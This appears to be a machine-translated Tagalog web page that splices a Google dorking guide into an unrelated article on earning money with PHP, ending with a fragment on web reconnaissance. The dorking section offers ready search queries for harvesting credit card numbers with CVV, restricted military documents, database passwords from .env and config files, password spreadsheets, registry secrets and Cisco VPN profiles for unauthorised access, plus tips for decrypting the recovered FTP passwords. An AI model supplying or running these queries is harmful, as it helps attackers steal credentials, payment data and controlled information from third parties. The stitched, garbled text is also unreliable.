Inurl php http anong kinita. Paano kumita ng pera sa pamamagitan ng pag-alam sa PHP? Paano kumita ng magandang pera ang isang php programmer sa bahay?

Ang pagkuha ng pribadong data ay hindi palaging nangangahulugan ng pag-hack - kung minsan ito ay nai-publish sa publiko. Ang kaalaman sa mga setting ng Google at kaunting talino ay magbibigay-daan sa iyo na makahanap ng maraming kawili-wiling bagay - mula sa mga numero ng credit card hanggang sa mga dokumento ng FBI.

BABALA

Ang lahat ng impormasyon ay ibinigay para sa mga layuning pang-impormasyon lamang. Ang mga editor o ang may-akda ay walang pananagutan para sa anumang posibleng pinsala na dulot ng mga materyales ng artikulong ito.

Ngayon, ang lahat ay konektado sa Internet, na may kaunting pag-aalala para sa paghihigpit sa pag-access. Samakatuwid, maraming pribadong data ang nagiging biktima ng mga search engine. Ang mga spider robot ay hindi na limitado sa mga web page, ngunit ini-index ang lahat ng nilalamang magagamit sa Internet at patuloy na nagdaragdag ng hindi pampublikong impormasyon sa kanilang mga database. Ang pag-alam sa mga lihim na ito ay madali - kailangan mo lang malaman kung paano magtanong tungkol sa mga ito.

Naghahanap ng mga file

Sa mga may kakayahang kamay, mabilis na mahahanap ng Google ang lahat ng hindi matatagpuan sa Internet, halimbawa, personal na impormasyon at mga file para sa opisyal na paggamit. Sila ay madalas na nakatago tulad ng isang susi sa ilalim ng isang alpombra: walang tunay na mga paghihigpit sa pag-access, ang data ay nasa likod lamang ng site, kung saan walang mga link na humahantong. Ang karaniwang web interface ng Google ay nagbibigay lamang ng mga pangunahing setting ng advanced na paghahanap, ngunit kahit na ang mga ito ay magiging sapat.

Maaari mong limitahan ang iyong paghahanap sa Google sa isang partikular na uri ng file gamit ang dalawang operator: filetype at ext . Ang una ay tumutukoy sa format na tinutukoy ng search engine mula sa pamagat ng file, ang pangalawa ay tumutukoy sa extension ng file, anuman ang panloob na nilalaman nito. Kapag naghahanap sa parehong mga kaso, kailangan mo lamang tukuyin ang extension. Sa una, ang ext operator ay maginhawang gamitin sa mga kaso kung saan ang file ay walang mga partikular na katangian ng format (halimbawa, upang maghanap para sa ini at cfg configuration file, na maaaring maglaman ng kahit ano). Ngayon ang mga algorithm ng Google ay nagbago, at walang nakikitang pagkakaiba sa pagitan ng mga operator - sa karamihan ng mga kaso ay pareho ang mga resulta.


Pag-filter ng mga resulta

Bilang default, naghahanap ang Google ng mga salita at, sa pangkalahatan, anumang ipinasok na mga character sa lahat ng mga file sa mga na-index na pahina. Maaari mong limitahan ang lugar ng paghahanap ayon sa pinakamataas na antas ng domain, isang partikular na site, o sa pamamagitan ng lokasyon ng pagkakasunud-sunod ng paghahanap sa mga file mismo. Para sa unang dalawang opsyon, gamitin ang operator ng site, na sinusundan ng pangalan ng domain o napiling site. Sa ikatlong kaso, pinapayagan ka ng isang buong hanay ng mga operator na maghanap ng impormasyon sa mga patlang ng serbisyo at metadata. Halimbawa, mahahanap ng allinurl ang ibinigay sa katawan ng mga link mismo, allinanchor - sa tekstong nilagyan ng tag , allintitle - sa mga pamagat ng pahina, allintext - sa katawan ng mga pahina.

Para sa bawat operator mayroong isang magaan na bersyon na may mas maikling pangalan (nang walang prefix na lahat). Ang pagkakaiba ay ang allinurl ay makakahanap ng mga link sa lahat ng mga salita, at ang inurl ay makakahanap lamang ng mga link sa una sa kanila. Ang pangalawa at kasunod na mga salita mula sa query ay maaaring lumitaw kahit saan sa mga web page. Ang inurl operator ay naiiba din sa isa pang operator na may katulad na kahulugan - site. Ang una ay nagbibigay-daan din sa iyo na makahanap ng anumang pagkakasunud-sunod ng mga character sa isang link sa hinanap na dokumento (halimbawa, /cgi-bin/), na malawakang ginagamit upang maghanap ng mga bahagi na may mga kilalang kahinaan.

Subukan natin ito sa pagsasanay. Kinukuha namin ang allintext na filter at ginagawa ang kahilingan na makagawa ng isang listahan ng mga numero at verification code ng mga credit card na mag-e-expire lamang sa loob ng dalawang taon (o kapag napagod ang mga may-ari sa pagpapakain sa lahat).

Allintext: petsa ng pag-expire ng numero ng card /2017 cvv

Kapag nabasa mo sa balita na ang isang batang hacker ay "na-hack sa mga server" ng Pentagon o NASA, na nagnakaw ng classified na impormasyon, sa karamihan ng mga kaso pinag-uusapan natin ang tungkol lamang sa isang pangunahing pamamaraan ng paggamit ng Google. Ipagpalagay na interesado kami sa isang listahan ng mga empleyado ng NASA at ang kanilang impormasyon sa pakikipag-ugnayan. Tiyak na ang ganitong listahan ay makukuha sa elektronikong anyo. Para sa kaginhawahan o dahil sa pangangasiwa, maaari rin itong nasa website mismo ng organisasyon. Ito ay lohikal na sa kasong ito ay walang mga link dito, dahil ito ay inilaan para sa panloob na paggamit. Anong mga salita ang maaaring nasa ganoong file? Sa pinakamababa - ang field na "address". Ang pagsubok sa lahat ng mga pagpapalagay na ito ay madali.


Inurl:nasa.gov filetype:xlsx "address"


Gumagamit tayo ng bureaucracy

Ang mga paghahanap na tulad nito ay isang magandang ugnayan. Ang isang tunay na solid catch ay ibinibigay ng isang mas detalyadong kaalaman sa mga operator ng Google para sa mga webmaster, ang Network mismo, at ang mga kakaibang istraktura ng kung ano ang hinahanap. Alam ang mga detalye, madali mong ma-filter ang mga resulta at pinuhin ang mga katangian ng mga kinakailangang file upang makakuha ng tunay na mahalagang data sa iba. Nakakatuwa na bureaucracy comes to the rescue dito. Gumagawa ito ng mga karaniwang formulation na maginhawa para sa paghahanap ng lihim na impormasyon na hindi sinasadyang na-leak sa Internet.

Halimbawa, ang Distribution statement stamp, na kinakailangan ng US Department of Defense, ay nangangahulugan ng standardized na mga paghihigpit sa pamamahagi ng isang dokumento. Ang titik A ay nagsasaad ng mga pampublikong paglabas kung saan walang lihim; B - inilaan lamang para sa panloob na paggamit, C - mahigpit na kumpidensyal, at iba pa hanggang sa F. Ang titik X ay hiwalay na nakatayo, na nagmamarka ng partikular na mahalagang impormasyon na kumakatawan sa isang lihim ng estado ng pinakamataas na antas. Hayaan ang mga dapat na gawin ito sa tungkulin na maghanap para sa mga naturang dokumento, at lilimitahan namin ang aming sarili sa mga file na may letrang C. Ayon sa direktiba ng DoDI 5230.24, ang pagmamarka na ito ay itinalaga sa mga dokumentong naglalaman ng paglalarawan ng mga kritikal na teknolohiya na nasa ilalim ng kontrol sa pag-export . Makakakita ka ng ganoong maingat na protektadong impormasyon sa mga site sa top-level na domain.mil, na inilaan para sa US Army.

"DISTRIBUTION STATEMENT C" inurl:navy.mil

Napakaginhawa na ang .mil na domain ay naglalaman lamang ng mga site mula sa US Department of Defense at mga kontratang organisasyon nito. Ang mga resulta ng paghahanap na may paghihigpit sa domain ay napakalinis, at ang mga pamagat ay nagsasalita para sa kanilang sarili. Ang paghahanap para sa mga lihim ng Russia sa ganitong paraan ay halos walang silbi: ang kaguluhan ay naghahari sa domains.ru at.rf, at ang mga pangalan ng maraming mga sistema ng armas ay parang mga botanikal (PP "Kiparis", self-propelled na baril "Akatsia") o kahit na hindi kapani-paniwala ( TOS "Buratino").


Sa pamamagitan ng maingat na pag-aaral ng anumang dokumento mula sa isang site sa .mil na domain, maaari mong makita ang iba pang mga marker upang pinuhin ang iyong paghahanap. Halimbawa, isang sanggunian sa mga paghihigpit sa pag-export na "Sec 2751", na maginhawa rin para sa paghahanap ng kawili-wiling teknikal na impormasyon. Paminsan-minsan ay inaalis ito sa mga opisyal na site kung saan ito minsan lumitaw, kaya kung hindi mo masundan ang isang kawili-wiling link sa mga resulta ng paghahanap, gamitin ang cache ng Google (cache operator) o ang Internet Archive site.

Pag-akyat sa mga ulap

Bilang karagdagan sa mga hindi sinasadyang na-declassify na mga dokumento ng gobyerno, ang mga link sa mga personal na file mula sa Dropbox at iba pang mga serbisyo sa pag-iimbak ng data na lumilikha ng "pribado" na mga link sa pampublikong na-publish na data paminsan-minsan ay lumalabas sa cache ng Google. Mas malala pa ito sa mga alternatibo at gawang bahay na serbisyo. Halimbawa, ang sumusunod na query ay nakakahanap ng data para sa lahat ng mga customer ng Verizon na may naka-install na FTP server at aktibong gumagamit ng kanilang router.

Allinurl:ftp:// verizon.net

Mayroon na ngayong higit sa apatnapung libong mga matalinong tao, at sa tagsibol ng 2015 ay marami pa sila. Sa halip na Verizon.net, maaari mong palitan ang pangalan ng anumang kilalang provider, at kung mas sikat ito, mas malaki ang makukuha. Sa pamamagitan ng built-in na FTP server, maaari mong makita ang mga file sa isang panlabas na storage device na nakakonekta sa router. Kadalasan ito ay isang NAS para sa malayong trabaho, isang personal na ulap, o ilang uri ng pag-download ng peer-to-peer na file. Ang lahat ng nilalaman ng naturang media ay ini-index ng Google at iba pang mga search engine, upang ma-access mo ang mga file na nakaimbak sa mga panlabas na drive sa pamamagitan ng isang direktang link.

Tinitingnan ang mga config

Bago ang malawakang paglipat sa cloud, ang mga simpleng FTP server ay pinasiyahan bilang malayong imbakan, na mayroon ding maraming mga kahinaan. Marami sa kanila ay may kaugnayan pa rin ngayon. Halimbawa, ang sikat na WS_FTP Professional program ay nag-iimbak ng data ng configuration, mga user account at password sa ws_ftp.ini file. Madali itong hanapin at basahin, dahil ang lahat ng mga tala ay nai-save sa format ng teksto, at ang mga password ay naka-encrypt gamit ang Triple DES algorithm pagkatapos ng kaunting obfuscation. Sa karamihan ng mga bersyon, sapat na ang pag-discard sa unang byte.

Madaling i-decrypt ang mga ganoong password gamit ang WS_FTP Password Decryptor utility o isang libreng serbisyo sa web.

Kapag pinag-uusapan ang tungkol sa pag-hack ng isang di-makatwirang website, kadalasan ay nangangahulugan sila ng pagkuha ng password mula sa mga log at pag-backup ng mga configuration file ng CMS o e-commerce na mga application. Kung alam mo ang kanilang karaniwang istraktura, madali mong maipahiwatig ang mga keyword. Ang mga linyang tulad ng matatagpuan sa ws_ftp.ini ay napakakaraniwan. Halimbawa, sa Drupal at PrestaShop palaging mayroong user identifier (UID) at isang kaukulang password (pwd), at lahat ng impormasyon ay naka-imbak sa mga file na may extension na .inc. Maaari mong hanapin ang mga ito tulad ng sumusunod:

"pwd=" "UID=" ext:inc

Pagbubunyag ng mga password ng DBMS

Sa mga configuration file ng mga SQL server, ang mga user name at email address ay iniimbak sa malinaw na text, at ang kanilang mga MD5 hash ay isinulat sa halip na mga password. Sa mahigpit na pagsasalita, imposibleng i-decrypt ang mga ito, ngunit makakahanap ka ng tugma sa mga kilalang pares ng hash-password.

Mayroon pa ring mga DBMS na hindi man lang gumagamit ng password hashing. Ang mga file ng pagsasaayos ng alinman sa mga ito ay maaaring tingnan lamang sa browser.

Intext:DB_PASSWORD filetype:env

Sa pagdating ng mga server ng Windows, ang lugar ng mga file ng pagsasaayos ay bahagyang kinuha ng pagpapatala. Maaari kang maghanap sa mga sangay nito sa eksaktong parehong paraan, gamit ang reg bilang uri ng file. Halimbawa, tulad nito:

Filetype:reg HKEY_CURRENT_USER "Password"=

Huwag nating kalimutan ang halata

Minsan posibleng makarating sa classified na impormasyon gamit ang data na hindi sinasadyang nabuksan at napunta sa atensyon ng Google. Ang perpektong opsyon ay ang maghanap ng listahan ng mga password sa ilang karaniwang format. Tanging ang mga desperadong tao lang ang makakapag-imbak ng impormasyon ng account sa isang text file, Word document o Excel spreadsheet, ngunit palaging may sapat na mga ito.

Uri ng file:xls inurl:password

Sa isang banda, maraming paraan para maiwasan ang mga ganitong insidente. Kinakailangang tukuyin ang sapat na mga karapatan sa pag-access sa htaccess, i-patch ang CMS, huwag gumamit ng mga script sa kaliwang kamay at isara ang iba pang mga butas. Mayroon ding file na may listahan ng mga robots.txt exception na nagbabawal sa mga search engine na i-index ang mga file at direktoryo na tinukoy dito. Sa kabilang banda, kung ang istraktura ng robots.txt sa ilang server ay naiiba sa karaniwang isa, pagkatapos ay magiging malinaw kaagad kung ano ang sinusubukan nilang itago dito.

Ang listahan ng mga direktoryo at mga file sa anumang site ay nauuna sa karaniwang index ng. Dahil para sa mga layunin ng serbisyo dapat itong lumitaw sa pamagat, makatuwirang limitahan ang paghahanap nito sa intitle operator. Ang mga kawili-wiling bagay ay nasa /admin/, /personal/, /etc/ at kahit na /secret/ na mga direktoryo.

Manatiling nakatutok para sa mga update

Napakahalaga ng kaugnayan dito: ang mga lumang kahinaan ay sarado nang napakabagal, ngunit ang Google at ang mga resulta ng paghahanap nito ay patuloy na nagbabago. Mayroon pa ngang pagkakaiba sa pagitan ng filter na "huling segundo" (&tbs=qdr:s sa dulo ng URL ng kahilingan) at isang filter na "real time" (&tbs=qdr:1).

Ang agwat ng oras ng petsa ng huling pag-update ng file ay ipinahiwatig din ng Google. Sa pamamagitan ng graphical na web interface, maaari kang pumili ng isa sa mga karaniwang panahon (oras, araw, linggo, atbp.) o magtakda ng hanay ng petsa, ngunit ang paraang ito ay hindi angkop para sa automation.

Mula sa hitsura ng address bar, maaari mo lamang hulaan ang tungkol sa isang paraan upang limitahan ang output ng mga resulta gamit ang &tbs=qdr: construction. Ang letrang y pagkatapos nitong itakda ang limitasyon ng isang taon (&tbs=qdr:y), m ay nagpapakita ng mga resulta para sa nakaraang buwan, w - para sa linggo, d - para sa nakaraang araw, h - para sa huling oras, n - para sa isang minuto, at s - para bigyan ako ng isang segundo. Ang pinakakamakailang mga resulta na kakakilala pa lang ng Google ay makikita gamit ang filter na &tbs=qdr:1 .

Kung kailangan mong magsulat ng isang matalinong script, magiging kapaki-pakinabang na malaman na ang hanay ng petsa ay nakatakda sa Google sa Julian na format gamit ang operator ng daterange. Halimbawa, ito ay kung paano mo mahahanap ang isang listahan ng mga PDF na dokumento na may salitang kumpidensyal, na na-download mula Enero 1 hanggang Hulyo 1, 2015.

Kumpidensyal na uri ng file:pdf hanay ng petsa:2457024-2457205

Ang hanay ay ipinahiwatig sa Julian na format ng petsa nang hindi isinasaalang-alang ang fractional na bahagi. Ang pagsasalin ng mga ito nang manu-mano mula sa kalendaryong Gregorian ay hindi maginhawa. Mas madaling gumamit ng date converter.

Pag-target at pag-filter muli

Bilang karagdagan sa pagtukoy ng mga karagdagang operator sa query sa paghahanap, maaari silang direktang ipadala sa katawan ng link. Halimbawa, ang filetype:pdf specification ay tumutugma sa construction as_filetype=pdf . Ginagawa nitong maginhawang magtanong ng anumang mga paglilinaw. Sabihin nating ang output ng mga resulta lamang mula sa Republic of Honduras ay tinukoy sa pamamagitan ng pagdaragdag ng construction cr=countryHN sa URL ng paghahanap, at mula lamang sa lungsod ng Bobruisk - gcs=Bobruisk. Makakahanap ka ng kumpletong listahan sa seksyon ng developer.

Ang mga tool sa automation ng Google ay idinisenyo upang gawing mas madali ang buhay, ngunit madalas silang nagdaragdag ng mga problema. Halimbawa, ang lungsod ng user ay tinutukoy ng IP ng user sa pamamagitan ng WHOIS. Batay sa impormasyong ito, hindi lamang binabalanse ng Google ang pag-load sa pagitan ng mga server, ngunit binabago rin ang mga resulta ng paghahanap. Depende sa rehiyon, para sa parehong kahilingan, iba't ibang mga resulta ang lalabas sa unang pahina, at ang ilan sa mga ito ay maaaring ganap na nakatago. Ang dalawang-titik na code pagkatapos ng gl=country directive ay makakatulong sa iyong pakiramdam na tulad ng isang cosmopolitan at maghanap ng impormasyon mula sa anumang bansa. Halimbawa, ang code ng Netherlands ay NL, ngunit ang Vatican at North Korea ay walang sariling code sa Google.

Kadalasan, nagiging kalat ang mga resulta ng paghahanap kahit na pagkatapos gumamit ng ilang advanced na mga filter. Sa kasong ito, madaling linawin ang kahilingan sa pamamagitan ng pagdaragdag ng ilang mga exception na salita dito (isang minus sign ang inilalagay sa harap ng bawat isa sa kanila). Halimbawa, ang pagbabangko, mga pangalan at tutorial ay kadalasang ginagamit sa salitang Personal. Samakatuwid, ang mas malinis na mga resulta ng paghahanap ay ipapakita hindi sa pamamagitan ng isang textbook na halimbawa ng isang query, ngunit sa pamamagitan ng isang pino:

Intitle:"Index ng /Personal/" -mga pangalan -tutorial -banking

Isang huling halimbawa

Ang isang sopistikadong hacker ay nakikilala sa pamamagitan ng katotohanan na binibigyan niya ang kanyang sarili ng lahat ng kailangan niya sa kanyang sarili. Halimbawa, ang VPN ay isang maginhawang bagay, ngunit mahal, o pansamantala at may mga paghihigpit. Ang pag-sign up para sa isang subscription para sa iyong sarili ay masyadong mahal. Buti na lang may mga group subscription, at sa tulong ng Google madali lang maging bahagi ng isang grupo. Upang gawin ito, hanapin lamang ang Cisco VPN configuration file, na may medyo hindi karaniwang extension ng PCF at isang nakikilalang landas: Program Files\Cisco Systems\VPN Client\Profiles. Isang kahilingan at sumali ka, halimbawa, sa mapagkaibigang pangkat ng Unibersidad ng Bonn.

Uri ng file:pcf vpn O Grupo

IMPORMASYON

Nakahanap ang Google ng mga file ng pagsasaayos ng password, ngunit marami sa mga ito ay naka-encrypt o pinapalitan ng mga hash. Kung makakita ka ng mga string ng isang nakapirming haba, pagkatapos ay agad na maghanap ng isang serbisyo sa pag-decryption.

Ang mga password ay naka-imbak na naka-encrypt, ngunit si Maurice Massard ay nagsulat na ng isang programa upang i-decrypt ang mga ito at ibigay ito nang libre sa pamamagitan ng thecampusgeeks.com.

Nagpapatakbo ang Google ng daan-daang iba't ibang uri ng mga pag-atake at pagsubok sa pagtagos. Mayroong maraming mga pagpipilian, nakakaapekto sa mga sikat na programa, pangunahing mga format ng database, maraming mga kahinaan ng PHP, mga ulap, at iba pa. Ang pag-alam nang eksakto kung ano ang iyong hinahanap ay magiging mas madali upang mahanap ang impormasyong kailangan mo (lalo na ang impormasyong hindi mo nilayon na isapubliko). Hindi lamang Shodan ang nagpapakain ng mga kawili-wiling ideya, ngunit ang bawat database ng mga na-index na mapagkukunan ng network!

Mula sa may-akda: Kumusta Mga Kaibigan! Sa artikulong ito ay pag-uusapan natin ang tungkol sa PHP programming language. Alamin natin kung para saan ito ginagamit, kung ano ang maaari mong gawin dito, at kung anong lugar ang sinasakop nito sa mga yugto ng pagbuo ng website. Gayundin sa artikulong ito ay titingnan natin ang maraming mga paraan upang kumita ng pera sa pag-alam kung paano mag-program sa PHP.

Ano ang PHP at para saan ito?

Ang PHP ay isang scripting language na aktibong ginagamit sa pagbuo ng mga web application. Ang PHP ay isa sa mga nangungunang wikang ginagamit sa pagbuo ng mga dynamic na website.

Ang PHP ay isang server-side programming language. Ang lahat ng mga script na nakasulat sa wikang ito ay isinasagawa sa server kasama ng site. Para pag-aralan ang PHP, bumuo at mag-debug ng mga website at script, siyempre, hindi mo kailangang bumili ng totoong server sa Internet. Para sa mga layuning ito, ginagamit ang mga emulator ng server, na sa anyo ng mga programa ay naka-install lamang sa isang gumaganang computer. At sa isang server sa Internet (pagho-host) ay inilalagay ang mga yari na website at mga pahina na may PHP script. Sa pamamagitan ng paraan, halos lahat ng modernong pagho-host ay sumusuporta sa wikang PHP.

Ang katanyagan ng wikang ito sa larangan ng pagbuo ng website ay natutukoy sa pagkakaroon ng malaking hanay ng mga built-in na tool para sa pagbuo ng mga web application. Ang mga pangunahing:

awtomatikong pagkuha ng mga parameter ng POST at GET, pati na rin ang mga variable ng kapaligiran ng web server sa mga paunang natukoy na array;

pakikipag-ugnayan sa isang malaking bilang ng iba't ibang mga database management system (MySQL, MySQLi, SQLite, PostgreSQL, Oracle (OCI8), Oracle, Microsoft SQL Server, Sybase, ODBC, mSQL, IBM DB2, Cloudscape at Apache Derby, Informix, Ovrimos SQL, Lotus Mga Tala , DB++, DBM, dBase, DBX, FrontBase, FilePro, Ingres II, SESAM, Firebird / InterBase, Paradox File Access, MaxDB, PDO Interface);

awtomatikong pagpapadala ng mga header ng HTTP;

nagtatrabaho sa cookies at mga session;

nagtatrabaho sa mga lokal at malayuang file, socket;

pagproseso ng mga file na na-upload sa server;

nagtatrabaho sa XForms.

Tingnan natin ang isang halimbawa kung saan tumatakbo ang PHP script sa page. Kunin, halimbawa, ang subscription form kung saan mo ilalagay ang iyong pangalan at email sa maraming site. Ang HTML at CSS ay responsable para sa hitsura ng form - ang mga kulay ng mga patlang ng input at mga pindutan, pagbabago ng kulay ng pindutan kapag nag-hover at nag-click dito, at iba pa. Gamit ang HTML5, maaari mong suriin ang kawastuhan ng data na inilagay sa form - halimbawa, kung ang mga field ng email o telepono ay napunan nang tama.

At pagkatapos mong i-click ang pindutang "Mag-subscribe", isang script ng PHP ang tinatawag, na tumatanggap ng data na iyong ipinasok sa form. Itinatala sila ng script sa database, bumubuo at nagpapadala sa iyo ng isang link upang kumpirmahin ang iyong subscription sa email na tinukoy sa form, sinusuri ang kumpirmasyon ng subscription at padadalhan ka ng mga kasunod na email. Ang lahat ng mga operasyong ito ay ginagawa sa server, at ito ay ginagawa gamit ang PHP programming language.

Application ng PHP sa pagbuo ng website

Upang lumikha ng isang website, kailangan mong dumaan sa ilang mga yugto:

Pagpaplano. Sa yugtong ito, pinaplano namin ang hinaharap na site: para kanino at bakit namin ito ginagawa, sino ang bibisita sa site, kung ano ang pupunan nito, kung ano ang dapat na nasa site, at iba pa.

Disenyo. Sa yugto ng disenyo, ginagawa namin ang hitsura ng mga pahina ng site sa isang graphic editor.

Layout. Sa yugto ng layout, gamit ang HTML at CSS, nililikha namin ang mga HTML na pahina ng hinaharap na site mula sa mga layout na nakuha sa yugto ng disenyo.

Programming. Sa yugto ng programming, awtomatiko namin ang mga proseso ng pagtatrabaho sa site. Pino-program namin ang administratibong bahagi ng site (admin panel) upang maaari kang magdagdag, magtanggal, mag-edit ng mga umiiral nang pahina kahit para sa isang taong ganap na hindi pamilyar sa pagbuo ng website. Nagpo-program kami upang gumana ang paghahanap at lahat ng mga form ng subscription (kung mayroon man) sa site. Tinitiyak namin na ang bagong idinagdag na pahina ay ipinapakita sa site, at isang link sa nilikhang pahina ay awtomatikong lilitaw sa menu. Kung ang site ay gumagamit ng pagboto o isang survey, ito ay naka-program din sa PHP, sa yugto ng programming.

Kung isasaalang-alang natin ang yugto ng pagprograma ng isang mas malaking site, halimbawa, isang online na tindahan, kung gayon ang lahat dito ay mas malawak at mas kawili-wili. Sa kasong ito, idinagdag namin hindi lamang ang mga pahina, kundi pati na rin ang mga produkto - ang pangunahing nilalaman ng online na tindahan. Bukod dito, sa admin panel kailangan mong magbigay ng breakdown ng mga idinagdag na produkto sa iba't ibang kategorya. Posible rin na i-edit ang produkto, baguhin ang paglalarawan, presyo, larawan, atbp.

Bilang karagdagan, ang isang online na tindahan ay nangangailangan ng programming ng isang analytics system - upang makita mo sa admin panel kung gaano karaming mga order ang inilagay at binayaran, para sa kung anong halaga, at kung aling mga produkto ang binayaran mula sa aling mga kategorya, atbp. Bukod dito, dapat itong posibleng magpakita ng mga naturang ulat para sa iba't ibang panahon. Kapag nagprograma ng isang online na tindahan, madalas ding ipinapatupad ang pag-uulat ng mga benta para sa mga layunin ng accounting at buwis.

Iyon ang dahilan kung bakit ang yugto kung saan ginagamit ang PHP programming language ay ang pinakamahalaga, ang pinakamatagal sa mga tuntunin ng oras, at ang pinakamahal at may mataas na bayad sa pagbuo ng website. At sa sandaling maunawaan mo kung paano mag-program ng isang online na tindahan, magagawa mong lumikha ng mga script para sa isang website na halos anumang kumplikado.

Popularidad ng PHP

Ang katanyagan ng PHP ay napatunayan ng katotohanan na ito ay ginagamit ng 83.1% ng lahat ng mga site kung saan posible na makilala ang isang server-side programming language.

Ang lahat ng pinakasikat na CMS na sumasakop sa mga unang lugar sa mga rating ng kasikatan (parehong bayad at libre: WordPress, Joomla, Drupal, Modx, Bitrix. Magento, atbp.) ay nakasulat sa PHP programming language.

Gayundin, ang katanyagan ng PHP programming language ay napatunayan ng maraming nilikhang PHP frameworks, tulad ng Laravel, Yii, CakePHP, Slim, Zend Framework 2, PHPixie, CodeIgniter, Symfony 2 at iba pa. Mayroong isang malaking bilang ng mga forum at malalaking komunidad - para sa PHP sa pangkalahatan, para sa bawat balangkas at para sa bawat CMS nang hiwalay.
Idaragdag ko rin na ang pinakamalaking mga site sa mundo, halimbawa, Facebook, Wikipedia, ay nakasulat din sa PHP.

Paano ka kikita sa kaalaman sa PHP?

Dahil sa katanyagan ng PHP, mayroong patuloy na mataas na pangangailangan para sa mga programmer ng PHP. Ang pagkakaroon ng kaalaman sa PHP at ang kakayahang magprograma sa wikang ito ay magbubukas ng mga bagong pagkakataon para kumita ng pera. Tingnan natin ang mga pangunahing kung saan maaari kang kumita ng pera ngayon:

Kumita ng pera sa pamamagitan ng pagbuo ng mga script. Ang lahat ng mga site ay patuloy na nagbabago, at pana-panahong nangangailangan ang mga ito ng pagsusulat ng mga bagong script, o ang pagbuo ng karagdagang paggana, mga module, atbp. Para sa mga naturang pag-unlad, ang mga may-ari ng site ay bumaling sa mga developer ng PHP. Bukod dito, sa kasong ito maaari kang kumita ng pera sa dalawang paraan:

subaybayan ang mga order upang makahanap ng isang freelance na developer;

bumuo ng mga ideya para sa mass script. Ang pagkakaroon ng ideya para sa isang script na tiyak na hihilingin sa mga, halimbawa, mga may-ari ng mga online na tindahan, maaari mong independiyenteng bumuo ng naturang script at ibenta ito sa mga may-ari ng online na tindahan;

Pagtatapos ng mga handa na script na "upang mag-order". Ang lahat ay simple dito - gagawin mo ang pagbabago o pagwawasto ng isang script. Ngunit sa kasong ito, mayroong isang nuance - sa simula ang script ay maaaring hindi napakahusay na ginawa, at ang pagpipino nito ay maaaring tumagal ng mas maraming oras kaysa sa pagsulat ng isang script mula sa simula. Samakatuwid, kung gagamitin mo ang pamamaraang ito ng kita ng pera, sa simula ay maingat na tingnan kung ano ang iyong babaguhin at kukumpletuhin.

Pagbuo ng mga plugin para sa CMS. Sa pamamaraang ito, ang lahat ay kapareho ng kapag kumita ng pera mula sa mga script. Kadalasan, ang mga website na ginawa sa handa na CMS ay nangangailangan ng pagsulat ng ilang uri ng plugin, add-on o extension. At maaari kang kumita ng pera dito sa dalawang paraan:

subaybayan ang mga order para sa pagbuo ng mga plugin, add-on at extension sa isang freelance na batayan;

bumuo at magbenta ng mass plugin na tiyak na hihilingin sa karamihan ng mga site;

Sariling at magkasanib na proyekto. Kung mayroon kang ideya para sa isang proyekto sa Internet (pagsisimula), halimbawa, isang ideya para sa isang kapaki-pakinabang na serbisyo o application na makakalutas ng isang partikular na problema, pagkatapos ay maaari mong simulan ang pagpapatupad nito. Sa paunang yugto, maaari itong maging isang libangan lamang, bilang karagdagan sa iyong pangunahing trabaho. Pagkatapos, kapag malinaw na ang libangan ay lumalaki sa isang malaking proyekto, posible na maglaan ng mas maraming oras dito.

Paglikha ng mga dynamic na website at engine para sa kanila. Maaari ka ring kumita ng magandang pera sa pamamagitan ng pagbuo ng mga custom na website, pagtatrabaho bilang isang freelancer o sa isang web studio.

Paglikha ng mga website para sa iyong sarili. Maaari kang lumikha ng isang website para sa iyong sarili, punan ito ng kapaki-pakinabang na nilalaman - at kapag ang site ay may sapat na bilang ng mga bisita, magsimulang kumita ng pera sa pamamagitan ng paglalagay ng bayad na advertising dito o pag-promote ng mga produkto ng isang tao sa pamamagitan ng mga programang kaakibat.

Sa tingin ko marami sa inyo ang nag-isip na ang lahat ng paraan sa itaas para kumita ng pera ay maaaring pagsamahin. At ito ay tama! Maaari kang lumikha ng isang website para sa iyong sarili at pasibo na kumita ng pera sa pamamagitan ng pagbebenta ng advertising mula dito, at lumikha ng isang script o plugin at ibenta ito sa mga dalubhasang site, kumita ng pera sa autopilot mula sa bawat pagbebenta, at sa parehong oras maaari ka pa ring magtrabaho sa isang web talyer. Bakit hindi? Syempre kaya mo!

Magkano ang kikitain ng isang developer ng PHP?

Sa mga kita ng mga programmer ng PHP, lahat ay indibidwal. Marami dito ang nakasalalay sa kung saan magtatrabaho, kung paano magtrabaho, anong antas ng kaalaman, anong karanasan, mga kwalipikasyon, kung anong nauugnay na karagdagang kaalaman ang mayroon ang developer, at iba pa. Samakatuwid, sa prinsipyo, hindi maaaring magkaroon ng anumang eksaktong pigura dito. Ngunit maaari nating tingnan kung anong mga suweldo ang inaalok kapag naghahanap ng mga programmer ng PHP sa isang web studio, at kung magkano ang handa nilang bayaran para sa isang proyekto sa mga freelance na palitan.

Ipinapakita ng larawan sa ibaba ang iminungkahing suweldo para sa mga programmer ng PHP sa isang web studio. Bukod dito, ito ang suweldo para sa mga programmer ng PHP na walang karanasan sa trabaho:

Kung mayroon kang karanasan sa trabaho, maaari kang kumita ng higit pa. Nasa ibaba ang mga suweldo na inaalok sa mga makaranasang PHP programmer.

At ngayon maaari ka ring kumita ng disenteng pera mula sa freelancing:

Konklusyon

Ang PHP ay ang pinakasikat na programming language sa mga web developer. Ang karamihan sa lahat ng mga website sa Internet ay nakasulat sa PHP. Ang pagkakaroon ng kaalaman at kakayahang umunlad sa programming language na ito, maaari kang kumita ng magandang pera, at maraming opsyon para kumita ng pera - mula sa pagtatrabaho sa isang web studio hanggang sa pagbuo ng iyong sariling proyekto o startup.

Ang anumang paghahanap para sa mga kahinaan sa mga mapagkukunan ng web ay nagsisimula sa reconnaissance at pagkolekta ng impormasyon.
Ang katalinuhan ay maaaring maging aktibo - malupit na puwersa ng mga file at direktoryo ng site, pagpapatakbo ng mga scanner ng kahinaan, manu-manong pagba-browse sa site, o passive - paghahanap ng impormasyon sa iba't ibang mga search engine. Minsan nangyayari na ang isang kahinaan ay nalaman bago pa man buksan ang unang pahina ng site.

Paano ito posible?
Ang mga robot sa paghahanap, na patuloy na naglilibot sa Internet, bilang karagdagan sa impormasyong kapaki-pakinabang sa karaniwang gumagamit, ay kadalasang nagtatala ng mga bagay na maaaring gamitin ng mga umaatake sa pag-atake sa isang mapagkukunan ng web. Halimbawa, mga error sa script at mga file na may sensitibong impormasyon (mula sa mga file ng pagsasaayos at mga log hanggang sa mga file na may data sa pagpapatunay at mga backup ng database).
